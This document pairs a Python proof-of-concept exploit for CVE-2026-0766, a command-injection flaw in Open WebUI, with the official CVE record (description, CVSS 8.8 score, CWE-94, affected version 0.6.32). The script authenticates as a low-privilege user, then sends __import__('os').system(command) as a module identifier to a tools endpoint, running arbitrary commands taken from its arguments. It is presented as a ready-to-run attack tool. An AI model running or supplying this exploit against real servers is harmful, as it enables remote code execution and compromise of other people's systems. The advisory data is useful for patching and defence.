CVE-2026-0766

import requests import json # CVE-2026-0766 PoC - Open WebUI Command Injection # Target: Open WebUI with vulnerable load_tool_module_by_id function TARGET_URL = "http://target:8080" USERNAME = "attacker" PASSWORD = "password123" def exploit(target_url, username, password, command): """ Exploit CVE-2026-0766 by injecting Python code via load_tool_module_by_id Args: target_url: Base URL of vulnerable Open WebUI instance username: Valid low-privilege user account password: Password for the user account command: System command to execute on target """ session = requests.Session() # Step 1: Authenticate to obtain session login_url = f"{target_url}/api/v1/auth/login" login_data = { "username": username, "password": password } response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print("[+] Authentication successful") # Step 2: Inject malicious Python code via load_tool_module_by_id # The vulnerability allows execution of arbitrary Python code exploit_payload = f"__import__('os').system('{command}')" exploit_url = f"{target_url}/api/v1/tools/load" exploit_data = { "module_id": exploit_payload, "action": "load_module" } response = session.post(exploit_url, json=exploit_data) if response.status_code == 200: print(f"[+] Command executed successfully: {command}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploitation failed: {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == "__main__": import sys if len(sys.argv) < 5: print("Usage: python cve_2026_0766_poc.py <target_url> <username> <password> <command>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

{"cve": {"id": "CVE-2026-0766", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:03.527", "lastModified": "2026-01-30T19:47:56.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI load_tool_module_by_id Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the load_tool_module_by_id function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28257."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos y ejecución remota de código en load_tool_module_by_id de Open WebUI. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de Open WebUI. Se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la función load_tool_module_by_id. El problema resulta de la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar código Python. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de la cuenta de servicio. Fue ZDI-CAN-28257."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openwebui:open_webui:0.6.32:*:*:*:*:*:*:*", "matchCriteriaId": "2B5D5634-470E-499C-A7C3-A5FD7277D287"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-032/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}